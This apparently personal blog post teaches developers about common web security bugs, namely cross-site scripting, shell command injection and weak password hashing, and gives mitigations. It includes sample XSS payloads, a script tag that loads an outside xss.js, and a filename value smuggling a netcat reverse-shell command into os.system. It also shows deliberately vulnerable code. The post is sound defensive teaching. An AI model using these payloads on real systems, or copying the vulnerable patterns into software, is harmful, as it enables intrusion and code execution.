Common Web Security Bugs and where to find them

#security
under construction This post is a work in progress, and may be updated at some point in the potentially distant future!

This is meant as an introduction to the kinds of bugs you may find (or write), while building web apps. It’s not exhaustive by any means, as the land of security is vast, but here’s a few pitfalls you should be aware of!

Class 0: Outdated Software

This probably goes without saying, but stay on-top of software updates for your systems. There’s no good reason to be running an old version of apache from ten years ago. New security issues are discovered all the time sometimes, very severe like heartbleed, or meltdown and spectre although most are not as bad. Still - patch your stuff!

On ubuntu, you can setup unattended upgrades to update things for you.

Class 1: Cross-Site Scripting

Most web software is built using some form of a templating language or another. Some, are super primitive like mustache, tornado, or liquid. Some, like React or Vue, are a bit more advanced and run client-side. All of them have some way or another to introduce XSS bugs into your code, even if they try to prevent it.

Vue and React make this much more difficult, using methods like dangerouslySetInnerHTML and v-html to clearly indicate where dangerous code may lie. With other templating languages, you can do pretty much anything, and they don’t have many restrictions.

These examples depend on your templating language, and what characters they do (or don’t) escape. If your language encodes quote characters or angle brackets, some of these may not work. This section is just to illustrate the kinds of exploits that exist.

Consider this code:

Example 1 - Script injection

<script>
var weight = {%raw%}{{get_query_param('user_weight')}};{%endraw%}
var name = {%raw%}"{{get_query_param('user_name')}}";{%endraw%}
</script>

This does work for all inputs that match a valid JavaScript Number, however, if we input other things, we can execute code directly in the page on load. An example exploit would be loading the page with the parameter ?user_weight=55%3B%20alert(1)%3B. To break this down further, it decodes to 55; alert(1);, which is directly substituted into the script tag, and the page happily executes it. Same goes for the user_name field, we just need to pass it a valid string, so we start and end our xss exploit with a matching quote: ?user_name="; alert(1); var _ = "

This bug is classified as reflected XSS because the injected script is run as a trusted script and is injected via a parameter. An attacker could send carefully crafted links around via malicious social, email, or other techniques in order to get a user to execute it.

Example 2 - Via a user action

<button onclick="show_by_id({%raw%}{{post_id}}{%endraw%})">
<button onclick="show_by_id('{%raw%}{{post_id}}{%endraw%}')">

If you let users pick their post IDs - this can very easily trigger some code in the background. Just set post_id to be equal to '); alert(1, and it’ll pop up an alert. It’s a variant on example 1. Depending on the context, we can execute things. The 1nd example in the above code snippet assumes post_id is a number - which works, until it doesn’t and a user finds a way to insert a malicous ID. then, they can execute any code.

Example 3 - Persistence via an Image URL

<img src="/images/{%raw%}{{foo}}{%endraw%}">

If your templating language does not escape quote ", ', = or equals characters (some don’t) and you can add an onhover or other event listener by somehow setting foo to the string: img.jpg" onhover="alert(1)". This requires extra work, as the attacker must find a way to get their malicious string into your data store (maybe by allowing users to choose their filenames, or allowing users to specify any url for an uploaded file). But once it’s there, it’s there until the vulnerability is fixed. Anyone loading the page can potentially execute your malicious payload.

Once the user hovers over the image or triggers whatever event listener is set up, the attacker is off to the races. This class of vulnerability is a step beyond plain XSS, called Stored XSS. One user may create a malicious payload, hoping a user with elevated privileges triggers in order to elevate their access.

Example 4 - Direct HTML Injection

<p>Your name is {%raw%}{{user_name}}{%endraw%}</p>

If your templating language does not escape angle brackets < or >, (most do, but be careful) a user could specify a name like ?user_name=Foo<script src="https://rich.sh/xss.js"></script> which can be substituted directly into the page and executed as if you added the <script> tag yourself.

Mitigation

Any and all user input should be treated as completely untrusted. If entering special characters in a form causes a scripting bug or crashes the page, there’s something very wrong. If you must inject javascript data into a page, do so in a way where it cannot be interpreted as a script. A way I tend to do this is to stringify it as JSON (which contains no executable code), and then running a JSON.parse() on the client-side to load it. This also is much faster than injecting raw JS, from the performance side, which is a plus1.

It’s important to know what is and isn’t safe with your tooling. Some templating languages escape things others don’t. At a minimum, the XSS attempt will just break your webpage. At the worst, it’s code execution. See the more reading section below for links with more reading about all the ways XSS bugs can evade filters.

Impact

XSS bugs can do a number of bad or scary things to your website. They include:

  • Sending the entire contents of the page to a remote server
  • Presenting a fake login form to capture credentials
  • Capturing mis-configured session cookies
  • Adding a keylogger to that session
  • Randomly and quietly inject malicious content as determined by a remote server
  • In a scipting context, only six characters are needed (most of which are not usually escaped). Plenty of examples can be found on google. (i’ve avoided direct linking due to my website policy on profanity)

More Reading

Class 2: Injection Vulnerabilities

Example 1: Python os.system()

If your software must execute a shell script or some other item, do so safely. For example, in python, this is an example of bad code:

name = get_query_param('filename')
os.system('rm "/srv/files/images/' + name + '"')

os.system runs it’s parameter as a shell script, so we could set the name to something like foo.jpg"; nc 192.168.13.37 4444 –e /bin/bash. This, causes netcat to open a reverse shell (giving the attacker direct shell access to your server.)

Even if this is protected with a login, we can potentially chain xss, or other vulnerabilities to get to this spot. Validate your inputs!

Mitigation

If you must run a binary, do so using something like subprocess in python which allows for better specification of a command and it’s arguments. And, if you haven’t caught onto this trend already - validate your inputs!.

Even using subprocess, depending on what command you’re running and how you send untrusted data to it, an attacker could use a trusted binary to do their work. So, don’t just run bash -c in a subprocess with un-trusted inputs, or you’ll have a bad day.

More Reading

Class 3: Bad Password Storage

I’ll make this simple:

Do’s & Dont’s

DO NOT:

  • store passwords in plain-text.
  • don’t use any form of sha, md5, or other fast hashing algorithms.
  • send user password hashes in any web response

Do:

  • use bcrypt, or scrypt
  • salt each password (the above solutions do this for you)
  • choose secure passwords for databases
  • for services utilizing signed cookies — secure signing secrets.

Goals

The goal here is to make it so nobody, except the user knows their password. We store the password in a hashed form in our database. A hash is a one-way function which cannot be reversed. On login, we hash their provided password and compare it with the stored hash value. Since hashes can’t easily be reversed, this is secure. Hash functions are deterministic, meaning they always output the same value.

If (hopefully never) your database gets breached, you want to make it as difficult as possible for an attacker to find valid passwords. Fast algorithms like sha or md5 are fast, meaning an attacker can check thousands of possible passwords a second. They can’t reverse the hash, but if they check possibilities very fast, they can perform a brute-force attack. By checking all combinations and potentially using a wordlist tailored to their specific target, they can potentially crack the majority of weak passwords in their database.

To prevent his, bcrypt, script and others are designed to be slow. They take a lot of compute time to execute, making it harder for attackers to find matches. By then, hopefully you’ve patched whatever vulnerability you had that got your database dumped, and forced a password reset for all your users.

While we’re on the topic - have sane password requirements. Encourage your users to use a password manager, with randomized passwords which are likely to never have their hashes cracked. Also, implement 2FA.

Additional Info - Common Misconfigurations

  • Prevent session stealing - set secure and httponly flags on cookies in order to keep scripts from reading them and prevent sending them in plaintext.
  • Configure content-security-policy headers to restrict code execution to your domains & disable eval().
  • Stop using public CDNs that can be compromised to serve malicious content.
  • Change default passwords to secure settings, and use SSH Keys for authentication instead of them.
  • In wordpress, lock down your install see my previous post here

Many of these are security measures to reduce what an attacker can do or obtain if another security bug is found. Practice defense-in-depth & layer your defenses, so a small bug doesn’t become a major site compromise.

Final words

Many of these security bugs are also usability bugs. Users shouldn’t have to not type special characters into your inputs to risk breaking things in mysterious ways, and you shouldn’t have to worry about what they can do.

Most of the bugs in this document require you to think about the potential for abuse you’re writing code. Don’t just make your code work - make your code work correctly and safely for any inputs it’s given.

As a final reminder:

  • Validate your inputs
  • Patch your dependencies
  • Safely store passwords
  • Practice Defense In Depth

Footnotes

  1. https://v8.dev/blog/cost-of-javascript-2019#json

Change Log

  • 1/11/2021 - Initial Revision

Found a typo or technical problem? file an issue!